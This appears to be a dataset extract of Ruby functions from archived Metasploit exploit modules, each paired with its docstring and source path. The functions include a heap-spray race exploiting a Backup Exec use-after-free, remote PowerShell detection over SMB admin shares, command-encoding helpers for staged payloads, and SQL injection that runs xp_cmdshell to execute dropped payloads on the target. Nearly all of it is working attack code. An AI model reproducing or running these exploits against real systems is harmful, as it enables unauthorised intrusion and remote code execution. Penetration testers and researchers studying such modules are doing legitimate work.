print_status('Spraying stage 1 while racing re-entering SSL mode on main socket...')
do_simple_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) do |is_pre|
unless is_pre
200.times do
spray_socks.each do |ss|
ss.prepare_and_write_ndmp_msg(spray_msg, 200)
return true if @payload_connected || session_created?
end
end
end
end
sleep(1)
@payload_connected || session_created?
end
|
Attempt to overwrite the freed BIO struct with stage 1 and implicitly trigger the
use-after-free in a race.
For non-Windows 8+ targets, we need to race Backup Exec after the BIO struct is freed.
This is because these versions of Windows overwrite the start of freed objects on the
heap with the next offset in the freelist. We need to then overwrite this with our
stage 1 spray otherwise Backup Exec will crash upon attempting to call the BIO
struct's read callback upon re-entering SSL mode. This is less successful than the
Windows 8+ case (which doesn't use a freelist, instead using a free bitmap), but it
still works OK.
|
attempt_race
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/42282.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/42282.rb
|
MIT
|
def powershell_installed?
share = "\\\\#{datastore['RHOST']}\\#{datastore['SHARE']}"
case datastore['SHARE'].upcase
when 'ADMIN$'
path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'
when 'C$'
path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
else
path = datastore['PSH_PATH']
end
simple.connect(share)
vprint_status("Checking for #{path}")
if smb_file_exist?(path)
vprint_status('PowerShell found')
psh = true
else
vprint_status('PowerShell not found')
psh = false
end
simple.disconnect(share)
psh
end
|
TODO: Again, shamelessly copypasta from the psexec exploit module. Needs to
be moved into a mixin
|
powershell_installed?
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/43970.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/43970.rb
|
MIT
|
def execute_command(command, opts)
# Replace the empty string, "", with a workaround - the first 0 characters of "A"
command = command.gsub('""', 'mid(Chr(65), 1, 0)')
# Replace quoted strings with Chr(XX) versions, in a naive way
command = command.gsub(/"[^"]*"/) do |capture|
capture.gsub(/"/, "").chars.map do |c|
"Chr(#{c.ord})"
end.join('+')
end
# Prepend "cmd /c" so we can use a redirect
command = "cmd /c " + command
execute_single_command(command, opts)
end
|
This is the callback for cmdstager, which breaks the full command into
chunks and sends it our way. We have to do a bit of finangling to make it
work correctly
|
execute_command
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/45695.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/45695.rb
|
MIT
|
def on_request_uri(cli, request)
unless @pl
print_error("A request came in, but the payload wasn't ready yet!")
return
end
print_good('Sending the payload to CMS...')
send_response(cli, @pl)
Rex.sleep(3)
print_status('Executing shell...')
inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""), true)
register_file_for_cleanup("c:/windows/temp/#{@filename}")
end
|
Handle incoming requests from the server
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/46449.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/46449.rb
|
MIT
|
def execute_command(cmd, _opts)
cmd_xp = "EXEC master..xp_cmdshell '#{cmd}'"
send_login_msg(create_login_msg_sql(cmd_xp))
end
|
This is method required for the CmdStager to work...
|
execute_command
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/46782.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/46782.rb
|
MIT
|
def send_login_msg(login_msg, check_response = true)
length = login_msg.length
length += length.to_s.length
login_msg = "#{length}#{login_msg}"
connect
sock.put(login_msg)
response = sock.recv(10000)
if check_response
if (response.include? 'Zugangsdaten Falsch') && (response.length > (length - 20))
print_good('Correct response received => Data send successfully')
else
print_warning('Wrong response received => Probably data could not be sent successfully')
end
end
return response
ensure
# Every time a new Connection is required
disconnect
end
|
prepends the required length to the message and sends it to the server
|
send_login_msg
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/46782.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/46782.rb
|
MIT
|
def create_login_msg_sql(sql_cmd)
return create_login_msg("#{rand(1_000..9_999)}'; #{sql_cmd}--")
end
|
embeds a sql command into the login message
|
create_login_msg_sql
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/46782.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/46782.rb
|
MIT
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.